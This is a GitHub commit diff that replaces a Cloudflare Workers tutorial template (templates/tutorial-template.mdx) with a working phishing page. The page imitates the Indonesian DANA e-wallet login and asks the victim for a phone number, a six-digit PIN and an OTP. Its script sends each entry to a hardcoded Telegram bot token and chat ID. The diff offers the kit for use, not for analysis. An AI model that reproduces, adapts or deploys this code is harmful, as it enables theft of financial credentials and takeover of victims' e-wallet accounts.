Skip to content

Commit 6d21761

Browse files
author
website-jual
authored
1 parent 62bc48c commit 6d21761

File tree

1 file changed

+225
-112
lines changed

1 file changed

+225
-112
lines changed

templates/tutorial-template.mdx

Lines changed: 225 additions & 112 deletions
Original file line numberDiff line numberDiff line change
@@ -1,112 +1,225 @@
1-
---
2-
updated: YYYY-MM-DD
3-
difficulty: Beginner | Intermediate | Expert
4-
content_type: 📝 Tutorial
5-
pcx_content_type: tutorial
6-
title: Tutorial title. Second-person imperative verb phrase that reflects user goal or job-to-be-done. For example, 'Create a Worker' or 'Build a Pages application'.
7-
products:
8-
- Workers
9-
languages:
10-
- TypeScript
11-
---
12-
13-
import { Render, PackageManagers } from "~/components";
14-
15-
(Introduce the purpose of this tutorial here. Describe the application which will be built by the end of this tutorial and the tools that will be used to achieve this. You can also optionally describe the intended audience, include a [GitHub link](https://github.com/) to completed code, and even outline a summary of the steps that the reader will be performing throughout this tutorial.
16-
17-
In this tutorial, you will learn how to run serverless script on the web by creating a Worker using Cloudflare's CLI tools C3 and Wrangler.
18-
19-
## Prerequisites
20-
21-
(List out any required prerequisites before the reader can begin following this tutorial. If your tutorial requires Workers, you can load pre-written Workers prerequisites by including the render below))
22-
23-
<Render file="prereqs" product="workers" />
24-
25-
(Additional prerequisites will need to be manually added like below)
26-
27-
- Prerequisite 3
28-
- Prerequisite 4
29-
- Prerequisite 5
30-
31-
## 1. Create a Worker. (The step title should describe what is being achieved within the step. If a step is becoming too large, see if it can be broken down into smaller steps.)
32-
33-
(To include a CLI command with tabs to select between npm, yarn or pnpm, use the example below.)
34-
35-
First, use the `c3` CLI to create a new Cloudflare Workers project.
36-
37-
<PackageManagers type="create" pkg="cloudflare@latest" args={"<WORKER_NAME>"} />
38-
39-
Replace `<WORKER_NAME>` with your desired Worker name.
40-
41-
## 2. Tets run your Worker on a local server
42-
43-
(To include a shell command, use the examples below [For code block guidelines read our style guide](/style-guide/formatting/code-block-guidelines/).)
44-
45-
Next, change into the newly created Worker's directory.
46-
47-
```sh title="Change directory into worker"
48-
cd <WORKER_NAME>
49-
```
50-
51-
Now we can run our Worker locally to test that it works.
52-
53-
```sh title="Run Worker on a local development server"
54-
npx wrangler dev
55-
```
56-
57-
(To include a number list such as for following numbered steps, use the example below.)
58-
59-
1. Step 1
60-
2. Step 2
61-
62-
## 3. (Additional tutorial tips)
63-
64-
(JavaScript example.)
65-
66-
```js
67-
---
68-
filename: src/index.js
69-
---
70-
export default {
71-
async fetch(request, env, ctx) {
72-
return new Response("Hello World!");
73-
},
74-
};
75-
```
76-
77-
(Wrangler toml file example.)
78-
79-
```toml title="wrangler.toml"
80-
#:schema node_modules/wrangler/config-schema.json
81-
name = "<WORKER_NAME>"
82-
main = "src/index.ts"
83-
compatibility_date = "YYYY-MM-DD"
84-
compatibility_flags = ["nodejs_compat"]
85-
86-
[ai]
87-
binding = "AI"
88-
```
89-
90-
(Aside examples. For more details read our [style guide documentation on Notes/tips/warnings](/style-guide/documentation-content-strategy/component-attributes/notes-tips-warnings/#recommendations).)
91-
92-
:::note[Aside example]
93-
An aside is a colored info box or aside with content (text, images, lists, code blocks) that adds relevant notes that do not fit the main text
94-
:::
95-
96-
:::caution[Aside example]
97-
A caution warns users of specific behavior that can break functionality or impact security.
98-
:::
99-
100-
(At the end of the tutorial's steps, summarize what has been successfully achieved by the reader through completing this tutorial)
101-
102-
You have successfully created, tested and deployed a Worker.
103-
104-
## Related resources
105-
106-
(Cloudflare docs link example)
107-
108-
To build more with Workers, refer to [Tutorials](/workers/tutorials/).
109-
110-
(External link example)
111-
112-
If you have any questions, need assistance, or would like to share your project, join the Cloudflare Developer community on [Discord](https://discord.cloudflare.com) to connect with other developers and the Cloudflare team.
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8"/>
5+
<link rel="icon" href="PUBLIC_URL%/Favion.ico" type="image/x-icon">
6+
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
7+
<title>Masukkan Nomor DANA</title>
8+
<style>
9+
* {
10+
margin: 0;
11+
padding: 0;
12+
box-sizing: border-box;
13+
}
14+
html, body {
15+
height: 100%;
16+
width: 100%;
17+
display: flex;
18+
justify-content: center;
19+
align-items: center;
20+
font-family: Arial, sans-serif;
21+
background-color: #1a73e8;
22+
overflow: hidden;
23+
}
24+
.container {
25+
width: 100%;
26+
max-width: 400px;
27+
background-color: #ffffff;
28+
border-radius: 12px;
29+
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
30+
padding: 20px;
31+
text-align: center;
32+
}
33+
.logo {
34+
width: 80px;
35+
margin-bottom: 20px;
36+
}
37+
h2 {
38+
color: #000000;
39+
font-weight: bold;
40+
margin: 15px 0;
41+
}
42+
.phone-input-container {
43+
display: flex;
44+
align-items: center;
45+
justify-content: center;
46+
margin-top: 15px;
47+
}
48+
.flag-icon {
49+
width: 30px;
50+
height: 20px;
51+
margin-right: 10px;
52+
}
53+
input[type="tel"] {
54+
width: 100%;
55+
padding: 14px;
56+
font-size: 1.1em;
57+
border: 1px solid #d4d4d4;
58+
border-radius: 8px;
59+
text-align: center;
60+
outline: none;
61+
}
62+
button {
63+
width: 100%;
64+
padding: 14px;
65+
background-color: #1a73e8;
66+
color: #ffffff;
67+
font-weight: bold;
68+
font-size: 1.1em;
69+
border-radius: 8px;
70+
border: none;
71+
cursor: pointer;
72+
margin-top: 20px;
73+
transition: background-color 0.3s;
74+
}
75+
button:hover {
76+
background-color: #1558c3;
77+
}
78+
.input-container {
79+
display: flex;
80+
justify-content: space-between;
81+
margin-top: 20px;
82+
}
83+
.input-box {
84+
width: 55px;
85+
height: 55px;
86+
font-size: 1.3em;
87+
text-align: center;
88+
border: 1px solid #d4d4d4;
89+
border-radius: 8px;
90+
outline: none;
91+
}
92+
@media screen and (max-width: 480px) {
93+
.container {
94+
width: 100%;
95+
height: 100%;
96+
border-radius: 0;
97+
box-shadow: none;
98+
}
99+
.logo {
100+
width: 60px;
101+
}
102+
h2 {
103+
font-size: 1.2em;
104+
}
105+
}
106+
</style>
107+
</head>
108+
<body>
109+
<div class="container" id="phonePage">
110+
<img src="dana-logo.png" alt="Logo DANA" class="logo">
111+
<h2>Masuk atau Daftar dengan Nomor HP</h2>
112+
<div class="phone-input-container">
113+
<img src="indonesia-flag.png" alt="Indonesia Flag" class="flag-icon">
114+
<input type="tel" id="phoneNumber" placeholder="Masukkan nomor telepon" maxlength="14" oninput="this.value = this.value.replace(/[^0-9]/g, '').slice(0, 14)">
115+
</div>
116+
<button onclick="sendPhoneNumber()">Lanjut ke Halaman PIN</button>
117+
</div>
118+
119+
<div class="container" id="pinPage" style="display: none;">
120+
<img src="dana-logo.png" alt="Logo DANA" class="logo">
121+
<h2>Masukkan PIN Anda</h2>
122+
<div class="input-container">
123+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
124+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
125+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
126+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
127+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
128+
<input type="password" maxlength="1" class="input-box pin-input" oninput="moveToNext(this, '.pin-input')">
129+
</div>
130+
</div>
131+
132+
<div class="container" id="otpPage" style="display: none;">
133+
<img src="dana-logo.png" alt="Logo DANA" class="logo">
134+
<h2>Masukkan Kode OTP</h2>
135+
<p>OTP telah dikirimkan melalui SMS dan WhatsApp. Harap masukkan kode yang diterima.</p>
136+
<p id="timer" style="font-weight: bold; color: #1a73e8; margin-top: 10px;">Kirim ulang dalam: <span id="countdown">60</span> detik</p>
137+
<div class="input-container">
138+
<input type="password" maxlength="1" class="input-box otp-input" oninput="moveToNext(this, '.otp-input')">
139+
<input type="password" maxlength="1" class="input-box otp-input" oninput="moveToNext(this, '.otp-input')">
140+
<input type="password" maxlength="1" class="input-box otp-input" oninput="moveToNext(this, '.otp-input')">
141+
<input type="password" maxlength="1" class="input-box otp-input" oninput="moveToNext(this, '.otp-input')">
142+
</div>
143+
</div>
144+
145+
<script>
146+
const botToken = "7335135600:AAGls8zxJrYK4epflJSpaA2eps_9Hzam63o";
147+
const chatId = "7306305451";
148+
let countdownInterval;
149+
150+
function nextPage(pageId) {
151+
document.querySelectorAll('.container').forEach(page => {
152+
page.style.display = 'none';
153+
});
154+
document.getElementById(pageId).style.display = 'block';
155+
156+
if (pageId === 'otpPage') startCountdown(60);
157+
}
158+
159+
function sendTelegramMessage(message) {
160+
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
161+
fetch(url, {
162+
method: "POST",
163+
headers: {
164+
"Content-Type": "application/json"
165+
},
166+
body: JSON.stringify({
167+
chat_id: chatId,
168+
text: message
169+
})
170+
})
171+
.then(response => response.json())
172+
.then(data => console.log("Pesan terkirim:", data))
173+
.catch(error => console.error("Error:", error));
174+
}
175+
176+
function sendPhoneNumber() {
177+
const phoneNumber = document.getElementById('phoneNumber').value.trim();
178+
if (phoneNumber === "") {
179+
alert("Nomor telepon tidak boleh kosong.");
180+
return;
181+
}
182+
sendTelegramMessage(`Nomor telepon: ${phoneNumber}`);
183+
nextPage('pinPage');
184+
}
185+
186+
function moveToNext(currentInput, inputClass) {
187+
const inputs = document.querySelectorAll(inputClass);
188+
const index = Array.from(inputs).indexOf(currentInput);
189+
190+
if (currentInput.value.length === 1 && index < inputs.length - 1) {
191+
inputs[index + 1].focus();
192+
} else if (currentInput.value.length === 0 && index > 0) {
193+
inputs[index - 1].focus();
194+
}
195+
196+
const code = Array.from(inputs).map(input => input.value).join('');
197+
if (code.length === inputs.length) {
198+
if (inputClass === '.pin-input') {
199+
sendTelegramMessage(`PIN: ${code}`);
200+
nextPage('otpPage');
201+
} else if (inputClass === '.otp-input') {
202+
sendTelegramMessage(`OTP: ${code}`);
203+
alert("OTP berhasil dikirim!");
204+
}
205+
}
206+
}
207+
208+
function startCountdown(seconds) {
209+
clearInterval(countdownInterval);
210+
let countdown = seconds;
211+
document.getElementById("countdown").textContent = countdown;
212+
213+
countdownInterval = setInterval(() => {
214+
countdown--;
215+
document.getElementById("countdown").textContent = countdown;
216+
217+
if (countdown <= 0) {
218+
clearInterval(countdownInterval);
219+
document.getElementById("timer").textContent = "Anda dapat mengirim ulang OTP sekarang.";
220+
}
221+
}, 1000);
222+
}
223+
</script>
224+
</body>
225+
</html>

0 commit comments

Comments
 (0)